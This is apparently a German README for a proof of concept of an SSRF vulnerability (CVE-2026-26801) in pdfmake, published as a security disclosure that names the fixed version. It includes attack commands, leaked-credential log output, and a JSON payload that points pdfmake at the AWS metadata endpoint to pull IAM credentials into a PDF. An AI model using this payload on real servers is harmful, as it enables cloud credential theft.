
PoC für CVE-2026-26801: SSRF in pdfmake URLResolver.js (>= 0.3.0-beta.2, <= 0.3.5)
| Feld | Wert |
|---|
| Paket | pdfmake |
| Version | >= 0.3.0-beta.2, <= 0.3.5 |
| Behoben | 0.3.6 |
| CVE | CVE-2026-26801 |
| Typ | Server-Side Request Forgery (SSRF) |
| Ort | src/URLResolver.js |
| Schweregrad | HOCH |
// URLResolver.js Zeile 3
const response = await fetch(url, { headers }); // KEINE VALIDIERUNG!
Wenn docDefinition URLs in images, attachments oder files enthält, ruft pdfmake diese ohne jegliche Validierung ab:
npm install
npm run metadata
npm run server
Blindes SSRF (beweist, dass der Server ausgehende Anfragen stellt):
npm run attack
Vollständiges SSRF-Lesen (Anmeldedaten im generierten PDF eingebettet):
npm run exfiltrate
npm run attack)Metadata-Server-Ausgabe:
[METADATA] GET /latest/meta-data/iam/security-credentials/vulnerable-ec2-role
[METADATA] >>> ANMELDEDATEN GELECKT! <<<
Dies beweist, dass der verwundbare Server eine ausgehende Anfrage an unseren kontrollierten Endpunkt gestellt hat.
npm run exfiltrate)Das Angriffsskript generiert exfiltrated.pdf. Öffnen Sie es in einem beliebigen PDF-Viewer und die AWS-Anmeldedaten-JSON ist als Dateianhang (metadata.json) eingebettet. Dies beweist vollständige Datenextfiltration, nicht nur blindes SSRF. Der Angreifer erhält den tatsächlichen Antworttext innerhalb des PDFs zurück.
{
"content": ["Hallo"],
"images": {
"x": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
}
Vollständiger technischer Writeup mit der Geschichte, wie dies gefunden wurde, der Angriffskette und dem Offenlegungszeitplan: mariopepe.github.io/cve-2026-26801-pdfmake-ssrf